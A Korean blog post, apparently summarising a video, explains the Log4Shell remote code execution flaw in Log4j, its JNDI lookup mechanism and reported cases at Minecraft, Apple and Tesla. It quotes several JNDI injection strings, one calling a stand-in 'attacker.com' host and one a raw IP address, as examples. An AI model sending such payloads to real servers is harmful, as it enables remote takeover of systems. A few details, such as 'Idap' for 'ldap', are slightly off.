제로데이 취약점! Log4J가 뭐야?

ggujunhee·2021년 12월 19일
0
post-thumbnail

🙄 사건의 전말_ 도대체 무슨 일인데?

'제로데이 취약점'즉, 발견즉시 0일안에 해결해야할 취약점으로 요즘 문제가 많은 Log4J가 도대체 뭘까?

현재 해킹에 사용되고 있는 취약점으로 이미 해킹을 당했는지는 알길이 없다.
일단 고치는 수 밖에.

Log4Shell(log4j취약점)은 알리바바 보안팀이 2월 9일에 발견했다.
하지만 클라우드플레어에 따르면 12월 1일 부터 해킹에 사용되고 있었다고 한다.

Log4J는 제로데이 RCE 취약점인데 RCE(Remote Code Execution) '원격코드실행'의 약자다.
말그대로 우리 서버에서 원격으로 코드를 돌릴 수 있다는 얘기다.
마음대로 서버에서 원격조종할 수 있다면 중요 컴퓨터 자료를 빼가거나 파일을 모두 암호화하거나 DB를 지워버릴 수 있는 대참사가 일어난다.

여기서 가장 큰 문제는 거의 모든 정부관련 사이트나 큰 대기업사이트들에서도 이 코드가 들어가있다는 것.
어떻게 이게 가능한 것일까?
바로 Log4J라는 패키지 때문인데.
이 패키지는 Java가 쓰이는 곳에서 매우 자주 쓰이는 패키지이기 때문에 Java기반 사이트가 많은 한국은 더더욱 취약할 수 밖에 없다.
이 외에도 Oracle에 따르면 Java는 130억개 기기에서 구동중이라고 하니 전세계적으로 대난리가 날 수 밖에.

Log4J가 정확히 뭔데?

Log

회사는 사이트에서 일어나는 모든 정보들을 log를 이용해 기록하고 저장해놓는다.
예를 들면 유저의 이동경로 패턴이나 댓글을 단다거나 언제 로그인을 하는지 등 유저의 모든 활동의 기록들을 사업에 활용하기 위해 저장한다. 이러한 로그 파일들은 수백, 수천개 그 이상에 다른다.

Log4J

Log4J는 앞서 말한 log기록을 돕는 로그기록 프레임워크다.
로그를 포맷팅하고 필터링하고 어플리케이션의 파일로 이것들을 기록하는 역할을 수행한다.
모든 어플리케이션이라면 log를 저장하고 그 중 Java를 쓰는 곳이라면 Log4J를 사용하는게 일반적이다.

🤔어쩌다 취약점이 됐을까?

10년-15년전 유행했던 해킹 중 유저의 입력을 코드로 인식을 한 점을 악용한 SQL Injection이라는 해킹이 있었는데 주소창에 쿼리문을 집어넣어 원하는 정보를 취하는 해킹법이다.
이 덕분에 "절대로 유저의 입력을 신뢰하지마라(Never Trust User Input)"이라는 말도 생겼다.

Log4J도 동일한 문제를 가지고 있다.
Log4J의 'Lookups'라는 기능이 있는데 이게 유저의 입력을 살짝 신뢰하는 바람에
취약점이 된 것이다.

공격이 어떤 형태인지 먼저 살펴보자.
공격자가 서버에 요청을 보낼때 요청에 ${jndi:Idap://attacker.com/a}와같은 String(문자열)이 있으면 Log4J는 이걸 로그에 넣고, 동시에 해당 URL을 불러온다.
문제는 이 URL이 해커의 것일 수 있다는 것!

${jndi:Idap://attacker.com/a}은 JNDI(자바 네이밍 디렉토리 인터페이스)라는 lookup을 사용하는데 문제는 공격받는 서버는 그 URL만 부르는 것이 아니라 해당 URL에 호스팅되어있는 코드가 해당 공격받는 서버에서 실행될 수도 있다는 것이다. 😱


예를 들어 마인크래프트 서버는 유저의 채팅창에서 Log4J로 모든 메시지를 로깅하는데
만약 공격자가 ${jndi://145.239.88.127:1389/a} 문자열을 포함한 메시지를 보내면
서버는 공격자의 서버에 접속해서 그들의 코드를 실행시킨다.

이와 동일한 현상이 애플, 테슬라, 아마존 등에서도 발견되었다.
한 보안 연구원이 자신의 아이폰 이름을 URL로 ${jndi:Idap://****.dnslog.cn/a}와 같이 바꿨봤는데
애플이 아이폰 이름에 대해서 기록을 하고 있었는지 바꾸자마자 애플의 백엔드 서버가 유저가 쓴 URL로 요청을 보냈다.

iCloud에서도 그 문자열로 로그인하니까 애플서버가 문제의 URL을 또 요청!
이와같이 애플 서버를 원격으로 조종이 가능한 사태가 벌어진 것이다.

아이폰의 와이파이 이름만 바꿔도 해킹을 할 수 있는데
와이파이명을 ${jndi:Idap://log4j.**/}로 변경해서 테슬라 사이트에 접속해 테슬라 자동차의 제품명을 변경했는데 서버에서 요청이 왔고 이름 변경한 것을 테슬라로그에 기록했다.
만일 그 로그에 단순 URL이 아니라 심각한 오류를 발생하는 코드를 집어넣었다면
테슬라 서버 전체가 마비되는 문제가 발생할 수도 있다.

현재 상황은?

Fastly(웹사이트의 콘텐츠 전송을 담당하는 미국 클라우드 기반 컴퓨팅 업체)에 따르면,
최근 해커들이 어떤 웹사이트의 서버들이 취약한지 찾기 위해 log4j관련한 엄청난 규모의
스캔(scan)들이 이루어지고 있다고 한다.
게다가 이미 *worm을 연구하는 해커 그룹도 있다고 한다.
24시간~48시간 내에 만들어 해당 취약점을 파고들꺼라는 예상되고 있다.

*worm : 네트워크를 통해 자신을 복제하고 전파할 수 있는 악성 프로그램.

현재 많은 기업들이 서비스를 패치하고 업데이트하고 있지만 log4j가 사용된 곳이 너무 많기 때문에 빠르게 업데이트를 하는 것도 쉽지않은 상황이다.
또한, 안다하더라도 시스템이 중단될 수 있기 때문에 업그레이드를 쉬이 시도하지 못하는 곳도 있다.

여기서 얻는 교훈 : 오픈 소스를 조심하자.

오픈소스 소프트웨어나 어떤 프레임워크를 사용함으로써 시스템자체가
보안에 취약해질 수 있다는 점을 명심해야한다.
모두가 쓰는 오픈소스에서 하나의 치명적인 취약점이 발견되면 모든 것이 와르르 무너지는 것이다.
물론, 모든 오픈소스들을 모두 검증하기엔 무리가 있으나 어떤 오픈소스를 찾아 사용할 땐
조심해서 써야한다는 교훈을 얻을 수 있었다고 생각한다.

이 포스팅은 노마드 코더영상을 요약+생각을 덧붙인 포스팅입니다.

영상이 궁금하시다면 https://www.youtube.com/watch?v=kwS3twdVsko 에서 확인하실 수 있습니다:)

profile
꾸준히 배워가는 블로그입니다.

0개의 댓글